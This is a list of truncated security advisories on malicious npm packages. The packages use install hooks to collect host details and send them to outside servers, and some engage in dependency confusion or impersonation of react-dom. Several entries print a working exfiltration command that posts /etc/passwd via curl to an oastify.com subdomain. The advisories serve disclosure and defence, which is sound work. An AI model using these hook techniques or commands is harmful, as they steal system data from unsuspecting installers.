MAL-2026-16370 Malicious code in @uol-afiliados/affiliated-config-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2cd4acce57eda08c1b8716118854cad32ecfc59e35e91c03d664ac452ee6716d @uol-afiliados/[email protected] declares a preinstall hook node index.js that shells out via require'childprocess'.exec to run curl...

MAL-2026-16360 Malicious code in @uh-platform/nadaver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17 On npm install, the package's preinstall script executes node index.js, which shells out curl to...

MAL-2026-13438 Malicious code in cewe-npm-cops (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 673bd57ca8632e768772381c7439b0b15008914879dfb5c22d42e40ce954c9e5 [email protected] is a dependency-confusion probe. package.json declares scripts.preinstall = 'node preinstall.js'; preinstall.js reads os.hostnam...

MAL-2026-12796 Malicious code in messenger-style (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 48e89235ade6dcbf682edae5afb7d789c6a834b2ebe032fac72c796734837d10 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo.username, home directory, DNS servers and...

MAL-2026-12482 Malicious code in tool-registry-scripts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b635b8b6d257c079a0d0a9c06e37910b67f2e75d1e71dced264043624951ce06 package.json declares a preinstall hook that runs index.js on npm install. index.js collects host identifiers os.hostname, os.userInfo, homedir, DNS...

MAL-2026-10632 Malicious code in cppt-common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 484688d5963a9246f4fe7a2b5c1c7ebe6bba135a2a5df66b3ab57f44978407b2 [email protected] declares a preinstall hook "preinstall": "node index.js" that runs automatically on npm install. index.js collects host and user...

MAL-2026-10207 Malicious code in react-dom-v17 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f55f6e35ab09a2fcd6521dac51aa4baa4cfa726958bc266a0d56fc14de240a29 Package name impersonates the widely-used react-dom package react-dom-v17. package.json declares preinstall: node index.js, which fires automatically...

MAL-2026-10081 Malicious code in webrix-docs1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 20cdefe1415c5b5245f36b10ea0de9033433b479768c2cc785ad2742b9433fce The package declares a preinstall hook node index.js that fires automatically on npm install. The script requires childprocess, os, https, and http,...

MAL-2026-6498 Malicious code in dttfdsdee (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ae565bed85ec0db27f1ff658c7e9491591ce40edc56f423cd8b1122bc209c69c package.json declares a postinstall script that runs automatically on npm install. The script walks the entire filesystem with find to locate databas...

Malicious code in starship-timeline (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8a4e552337fa70064e0a04644ee5a64378809a85b281eda24707bc9a6eba473f [email protected] ships no real functionality. Its package.json declares a preinstall hook "preinstall": "node index.js" that runs automaticall...

Malicious code in simplisafe-gatsby (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 564baff2e47527f159c52c527e1ea2b93d73625f94737f4397cff99311871a18 On npm install, the package's preinstall hook package.json declares "preinstall": "node index.js" executes index.js, which collects the installer's...

MAL-2026-6263 Malicious code in gd-auth-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4de00613e21b42bf3c651995beae63ff9d85772b9370145152d172a062be4fb7 package.json declares preinstall: node index.js, which runs automatically on npm install. index.js requires os, dns, https, querystring, and the loca...

Malicious code in node-vfs-polyfill (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7fb213e524ed75dcb54961d6d2ee9431ea6a32f4fdcb9d777bc260102920d81b On install, postinstall.js executes automatically and exfiltrates host reconnaissance data to attacker-controlled subdomains on oastify.com Burp...

MAL-2026-6143 Malicious code in node-vfs-polyfill (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7fb213e524ed75dcb54961d6d2ee9431ea6a32f4fdcb9d777bc260102920d81b On install, postinstall.js executes automatically and exfiltrates host reconnaissance data to attacker-controlled subdomains on oastify.com Burp...

Malicious code in tn-advertisement (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1b13ed4147b360eee88a36d9fe649dccbef37cf9019072841e697b88b6e4d3d2 On require, index.js performs an unconditional http.get to a unique subdomain of oastify.com Burp Suite Collaborator out-of-band testing...

Malicious code in zer0onedatetool (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 73fd05fda74bbf13c6275d4da0fa80fece821cad03fb2237ae74ed24309eab52 The postinstall lifecycle script in this package issues curl POST requests to a subdomain of oastify.com — the out-of-band callback domain operated b...

Malicious code in menu-filter-widget-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bed4a7ece362ef59f2b621b3f64d06e899740c8ca8d73e437145d48b960187ce package.json declares a postinstall lifecycle hook that runs callback.js on every npm install. callback.js reads os.hostname and sends it to a...

Malicious code in @shell-landing/routes (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6db5f32788db0c0eefee1ec8520b56ef908f8909cd79d5fdb16c2595c65f1577 On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd'...

MAL-2026-5409 Malicious code in @easy-entry/outside-registration-fop-navigator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 04091b4e3c6018586c8ba0c6106ff9177090d0776d1a723d041a76d67b1c8f2b On npm install, package.json's postinstall hook executes node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd'...

Malicious code in @shell-cabinet/routes (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b385f020626d8bad774fe5ebd776683b547bea4edef85944af658fd0155924ad On npm install, the package's postinstall hook runs curl --data '@/etc/passwd' $hostname.200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the...